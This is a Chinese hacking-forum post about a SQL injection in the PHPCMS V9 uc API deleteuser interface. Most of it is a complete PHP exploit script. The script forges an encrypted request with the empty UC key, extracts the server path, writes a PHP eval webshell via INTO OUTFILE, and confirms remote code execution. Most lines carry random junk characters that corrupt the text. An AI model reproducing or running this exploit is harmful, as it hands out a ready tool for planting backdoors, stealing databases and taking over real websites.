找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2303|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。7 t( M1 y% U- A  D2 M* ~
1 X+ h# x/ I4 f! o' h) c! I. D) B
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。) C/ b. b# f: A* @' l5 r

$ S* c7 c+ g& |0 N漏洞分析:* R9 {; i; B; S: ]4 {# b9 g
1.未启用ucenter服务的情况下uc_key为空
' _, I# X  b+ |" t/ `define('UC_KEY', pc_base::load_config('system', 'uc_key'));! W  [- p( f( ^! k9 |1 M- q, U
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
/ c; ^& e& L# n, W    public function deleteuser($get,$post) {
0 I3 v& O) R0 m- _! i0 t4 V! C        pc_base::load_app_func('global', 'admin');
9 K% W+ ^/ F" _  h% b% X        pc_base::load_app_class('messagequeue', 'admin' , 0);* d8 }3 R+ ]5 R
        $ids = new_stripslashes($get['ids']);* E6 O9 K; D9 w5 m* ~# [2 C( i+ @
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");: Z7 v4 s: c, G. B9 q; ?" H
SQL语句为
5 f2 x4 a1 T/ T3 x" J+ jSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
' |& R1 b( `1 E$ S' A3 H# r( w
+ s. x4 |, s* q( K4 C7 Z- n- _9 B( P" Q6 r利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
4 q: T9 |7 t, `  ~3 i  h<?php
/ C4 x  M3 B" f% u8 k. ^print_r('; ^2 m; ]9 k3 X+ Y# g
---------------------------------------------------------------------------
6 M* c- B0 U$ N8 ^; BPHPcms (v9 or Old Version) uc api sql injection 0day
1 G5 S7 X2 E$ c' iby rayh4c#80sec.com% }. l6 t" k9 T7 B
---------------------------------------------------------------------------* l% [. O, [0 c6 F* s' l
');8 X$ R' h/ H# `6 |5 v
5 u* L% t: \: o- `
if ($argc<3) {
' i7 E# Q& ?+ I7 j. U* O2 {2 q% X    print_r('1 A* X; m: |5 K7 u. T1 m
---------------------------------------------------------------------------
7 D! t$ J. c2 B+ K8 r; ^+ HUsage: php '.$argv[0].' host path OPTIONS6 Z! [+ e& r$ U6 K
host:      target server (ip/hostname)
% L& G6 L; f2 ^9 g# npath:      path to phpcms
2 F: ^. m) t5 n  |% POptions:. n1 E/ n& J4 N2 k. E( x
-p[port]:    specify a port other than 80+ d& O: @( W4 E
-P[ip:port]: specify a proxy
+ [2 z7 W: N5 S8 y$ G- o+ g* c# jExample:+ o. U7 A) F3 u( e' I
php '.$argv[0].' localhost /
, V) v* O9 S, E  m: U* q0 dphp '.$argv[0].' localhost /phpcms/ -p81
3 t1 }" J3 H: `) h$ [php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:803 A$ w; ^$ H# _7 l
---------------------------------------------------------------------------% G( }( a  f- T& `% b
');
8 a' w1 b5 v. L" F    die;
/ l0 i/ l* B9 |  v( U- g; X}
: k7 @9 j1 I! ~4 i" I' }8 C: G0 S7 n
2 j3 c7 w- T5 |  E7 u/ [  Ierror_reporting(7);; w0 W/ ?0 s/ b- e1 I
ini_set("max_execution_time",0);; V/ N: L2 `" P$ N3 v! }  I- n5 I
ini_set("default_socket_timeout",5);
0 m: A; ~4 F! S+ F3 g9 q6 i
% s, z5 y, s8 L. w2 e* o# pfunction quick_dump($string)! ~% P, N# a5 j- J+ H6 d0 h
{
0 o8 o, q0 s' R. |  [1 U: _  $result='';$exa='';$cont=0;
6 Q# d3 A  R! V0 }  for ($i=0; $i<=strlen($string)-1; $i++)
) c  ~1 c; r6 ]8 `7 ]4 P  {" A0 k/ l9 D9 c# W- G
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))2 f3 T0 Q0 J$ |! _' F
   {$result.="  .";}
$ M( i1 `1 X# `( C# E: N   else
; k# V& M/ ?9 c1 I6 A   {$result.="  ".$string[$i];}6 |3 O* a4 g0 A: d0 p/ |7 X
   if (strlen(dechex(ord($string[$i])))==2)
9 m) o$ H8 K$ y+ r4 [" v   {$exa.=" ".dechex(ord($string[$i]));}
# ^+ i) H* F5 A0 T7 P/ G; d   else
$ a! u) h7 x' v. h* p. |6 \   {$exa.=" 0".dechex(ord($string[$i]));}
% |+ n, @, k$ ^   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
" F  j3 P" v4 ~  p  }4 i' H% F7 X/ }' |6 W4 U
return $exa."\r\n".$result;% o  a% z* G! n4 X7 l( Z+ O7 t
}
) @) ]7 n8 \; |# N* o- ]" K- p$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
. k0 A" h5 }2 L  \
5 l1 ^: G2 P. nfunction send($packet), F5 e2 U$ g6 C' r4 k! p% p! O# C- U
{
5 Z: M% w( n' Z  global $proxy, $host, $port, $html, $proxy_regex;: ~3 C$ f2 Z, M
  if ($proxy=='') {* U, X3 O$ {: s8 c  K! P
    $ock=fsockopen(gethostbyname($host),$port);
( E  i7 P. C3 a    if (!$ock) {- o& M* W& S! C$ M* w: l
      echo 'No response from '.$host.':'.$port; die;3 v/ s6 `9 T$ \& ]  [
    }
' u2 r  d- A/ ~$ z1 C* T4 A* `9 ]7 O5 J  }6 }$ K! q# N5 y/ U$ ]
  else {4 D0 o* E' d. {6 b9 w0 y9 J
        $c = preg_match($proxy_regex,$proxy);) ^+ B4 W: ]: R" a' C2 M
    if (!$c) {
5 S( {5 ~4 G. B) X! n9 p      echo 'Not a valid proxy...';die;. X# y' Q7 M% Q/ k% U
    }
2 E+ V- k# Z) d( M9 \& E/ F; f/ B4 u    $parts=explode(':',$proxy);
, o; t  g6 A7 O- ?# b2 h    $parts[1]=(int)$parts[1];3 w" Y0 V7 J5 \  X0 z
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
4 o( c9 N/ R) s7 _. k% ^    $ock=fsockopen($parts[0],$parts[1]);' f5 o) Y9 T- W& w
    if (!$ock) {
, }& O$ X9 I$ F: H5 f% R      echo 'No response from proxy...';die;) @5 |  C, P7 Y' r+ U, E
        }/ f* I# O& d& ?6 W: B; p1 A
  }
& J: W+ w  Q0 N0 T  fputs($ock,$packet);
/ g: {' [: _+ V$ O  if ($proxy=='') {( i5 U: L7 e$ x3 X/ f
    $html='';( J: [, a9 c6 E& x7 l) p
    while (!feof($ock)) {  _% L, n2 p3 Y/ |% Q
      $html.=fgets($ock);
; \. t8 M, U4 r; v& o/ {9 e  s  P    }
5 p  ~' K' f& p$ R, i7 J  }
9 H, n! k8 W/ [6 L* o" L3 L  else {1 B) p0 L5 T/ j' `6 R# q
    $html='';
4 J) F- w5 z$ M- Z4 ]& L    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {1 T5 }* G& Z' L3 Y
      $html.=fread($ock,1);0 O: G( }" S1 A- `* d5 Q9 F
    }
, n3 Y1 a) W" u  |" F! M  }9 R  }* m1 i) s1 b: J: N- o! q/ o
  fclose($ock);2 y( N! D, x( P9 k/ x% `0 a
}
# r& n/ U0 }! Y# }0 i1 x3 V+ M3 Q& x
8 x3 j- ]5 d% r, j3 U" e$host=$argv[1];4 f9 z' @# y# j$ h2 \5 l# u
$path=$argv[2];& {$ g/ W; y- M4 f' J6 C
$port=80;
; d$ Y5 K4 R0 g% N/ w$proxy="";
2 k( u5 }3 v+ p1 V) H  d, ~for ($i=3; $i<$argc; $i++){
+ `- g  }  t. j; l# p$temp=$argv[$i][0].$argv[$i][1];
, s# K/ [7 t5 C  ]/ X/ F- [7 pif ($temp=="-p")9 X2 B& I/ b: R/ |
{
( q/ Q1 S# d% n9 A# r  H! X$ ?. g  $port=(int)str_replace("-p","",$argv[$i]);
# b8 q/ B5 {( l+ r4 w' l: ^8 ?+ [}- z& o( H5 C1 W+ ?7 w8 m/ L0 x
if ($temp=="-P")
( t# h5 G: b/ [6 ^1 U" F{+ ^6 N$ I. c% u( R  {0 ~$ Z* R
  $proxy=str_replace("-P","",$argv[$i]);
2 i! J+ Z4 e* {% I}
- [4 w' a4 H& x" x, q9 Q& R* S}
9 i) d5 b. N9 c! J4 |
- E. n3 n7 U7 }) [; a4 T" e# R  M' Oif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}2 q4 G9 f2 g- L& e' s" z9 s& q. G
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}, w0 @% p8 k$ N. }& H

, n2 w8 `. N! V, }" U; b5 R/ vfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
. y" f/ O9 u  u; z
# a& }& N+ G% l; M    $ckey_length = 4;, u+ l) h9 K' F; H5 I; d/ D4 y2 `

2 T4 [2 i: x7 ]; J5 j7 l2 ?# w( u    $key = md5($key ? $key : '');/ f" p6 n2 B3 k* e
    $keya = md5(substr($key, 0, 16));
+ G" P! @7 k; e; F+ Z    $keyb = md5(substr($key, 16, 16));" T/ P9 u$ ^7 {# N- g+ Q* e% r5 u* G
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
5 f; m) h- U* ]9 w- Y- L7 g; c* J6 O4 G
    $cryptkey = $keya.md5($keya.$keyc);0 p& o8 R% m/ I7 s( n2 P% K+ R
    $key_length = strlen($cryptkey);% K/ s6 n3 K: p( j1 k. I8 z

4 _! s  E$ c  [( I- ?0 x    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$ o) z& @1 ]* U* Q    $string_length = strlen($string);' q2 G8 }4 K  b" U; r: [: @7 r
& d" d) p. _) ~! I& D
    $result = '';/ ^3 F7 r& W" W2 g* r# Z0 F) X
    $box = range(0, 255);- x4 q. K1 x* G# Z

" C: I  u/ S7 b( Q  z9 @    $rndkey = array();
, ?) r# Z; k# I3 R+ \# |  r    for($i = 0; $i <= 255; $i++) {
( o" P9 ^& J3 I7 {+ w) o( G8 K        $rndkey[$i] = ord($cryptkey[$i % $key_length]);1 h4 L) F, M9 p; `4 a. N! ~# t
    }" b5 h! }9 o% h3 [9 {
* @+ Z; [, S9 t1 j2 }/ M8 f
    for($j = $i = 0; $i < 256; $i++) {
5 c9 a* x* u4 C        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
, R* Z" h% e/ N. w        $tmp = $box[$i];$ h2 _2 a$ x/ u7 `  p( {
        $box[$i] = $box[$j];
, O) l/ ^5 b1 f5 i: w+ Q+ g        $box[$j] = $tmp;
4 h9 h  Q* J4 D( s    }4 v+ [. A# s+ X0 a2 f, d* I  F9 C

9 i6 F+ `5 ~. h3 k6 C* j3 ?4 x    for($a = $j = $i = 0; $i < $string_length; $i++) {
2 y8 N  V: g8 f) F        $a = ($a + 1) % 256;; v* C2 k& y/ K, f+ u: p' `$ _' U# C$ x
        $j = ($j + $box[$a]) % 256;
! d$ _' `0 p$ L; a: {% ^        $tmp = $box[$a];
/ k) X$ X% {/ T  t2 L        $box[$a] = $box[$j];$ W! J: X& a+ H3 z. c0 G; Z4 U/ J
        $box[$j] = $tmp;
- s- W) s5 d! `4 Q3 Z        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));; E' l5 |% t8 J, p* U
    }
9 T2 f, b1 {" @, O! H, Z2 i1 Q8 B) ~3 l! N7 d0 D' F9 r) T
    if($operation == 'DECODE') {
3 ]* c# Q7 i1 d! ~3 x6 m        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
% _$ a# Y: R, T" x            return substr($result, 26);$ y0 g  M4 h" _8 V+ H
        } else {- W8 t2 @, n$ W6 P  l" r
            return '';$ p8 _/ k; V- z. A7 g; _
        }
# v3 v& F- q5 _$ n' \' Q    } else {
; Y# Q  m" u- j  F+ f( n1 K        return $keyc.str_replace('=', '', base64_encode($result));
  e" T3 ?" B9 K+ G% H    }3 `# k" g. p7 x6 R  u% u

- |; w! g5 F1 d) R}
5 P9 D% l4 a6 \) \  \5 J# V3 |5 g8 L5 Q% B! W$ U+ Q
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
8 P1 }0 ?9 G( K- z# c: z2 D$SQL = urlencode(authcode($SQL, "ENCODE", ""));
% h$ M4 F% I& z  s, X7 U4 E, ?) Vecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: z. j8 d( v3 ]/ L' p% \: G; D
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";) ?2 N9 F- r! p5 k
$packet.="User-Agent: Mozilla/5.0\r\n";
: }9 b+ ?1 P2 F7 [: {$packet.="Host: ".$host."\r\n";
& E2 x2 `1 D) q3 m: p/ B$packet.="Connection: Close\r\n\r\n";
5 ?; I' n" r1 osend($packet);
( A; I/ l  A) E" I# N( xif(strpos($html,"MySQL Errno") > 0){
+ I/ j# ^/ R$ a1 zecho "[2] 发现存在SQL注入漏洞"."\n";
! k7 H% ^7 o8 A+ |1 j+ h8 i: wecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";/ `% @, \8 S1 {% J
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";8 K- z) ~4 F8 Y" m: c
$packet.="User-Agent: Mozilla/5.0\r\n";4 W0 j  i" l5 f% p
$packet.="Host: ".$host."\r\n";
# i) k5 K! |! ?( a% }$packet.="Connection: Close\r\n\r\n";
# M5 ?& @4 A6 h* \9 i' B. ?send($packet);
7 ?1 Y7 n- L0 V  L% `preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);1 k* r- U; J, W8 t6 e, Q2 m( I
//print_r($matches);
5 [. j6 S1 y/ L" ^9 Z# _; m- Uif(!empty($matches)){2 O7 }) I8 s( E! _, Y$ e
echo "[4] 得到web路径 " . $matches[0]."\n";
! I7 q. }" W4 n9 L7 [7 secho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 K8 e5 t; ~& D; j  V% \) [# w$SQL = "time=999999999999999999999999&ids=1)";- A! {- l4 E) D. o1 i! G
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";0 m: X! @4 ~$ i8 g
$SQL.="&action=deleteuser";
$ X: J/ Y4 d. l) u- _0 v/ v6 B8 K$SQL = urlencode(authcode($SQL, "ENCODE", ""));
3 N/ c' [) y9 x: L4 F0 w( Oecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
% k( {+ Q1 x: h$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- [( Q/ c2 J# q$packet.="User-Agent: Mozilla/5.0\r\n";
6 A  f" L% N, S$packet.="Host: ".$host."\r\n";
6 ?1 O0 }! f- l3 `/ P7 `$packet.="Connection: Close\r\n\r\n";
6 x2 B; T7 [8 x  l" k! M/ Q9 gsend($packet);
9 }1 {$ P7 j) d/ Hif(strpos($html,"Access denied") > 0){- C7 v/ a% U4 W3 F+ m0 l
echo "[-] MYSQL权限过低 禁止写入文件 ";9 Q0 ?; h1 D9 j! H& ]- }2 j$ h
die;. m" G6 S& M! e
}6 R; d7 Z% Q" R: n3 W% `8 O
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
4 v0 ^3 ^* z. ?5 s$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
! b7 K1 Z3 h$ p4 t1 H$ W& i2 Z" N0 K: @$packet.="User-Agent: Mozilla/5.0\r\n";
% b# O2 _" Y' z$packet.="Host: ".$host."\r\n";
2 g9 g1 ]; o4 X( Y$ W- Z0 v9 p0 _$packet.="Connection: Close\r\n\r\n";
! Y! y' i5 I5 osend($packet);" R/ n5 E* c9 J6 a1 R
if(strpos($html,"<title>phpinfo()</title>") > 0){* g" [1 z$ n( n7 ^% M$ _
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
7 D2 ^9 l% @! F}
4 A( |! ?' L$ j: P* M( V1 H}else{
2 J0 m9 u7 i; j" yecho "[-]未取到web路径 ";: |/ @/ w  u! E2 ^# A
}+ |# H# i. b5 v; z
}else{0 i3 l7 P( @% I% H7 O6 t! ^) O
echo "[*]不存在SQL注入漏洞"."\n";  z* d' \3 A6 q( a" w
}: U6 f/ T- d5 q3 v4 O; r( l

2 q. K' B: W7 v. \6 w6 d% B1 C* I" m: ??>
9 e0 o, S8 f6 r- {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表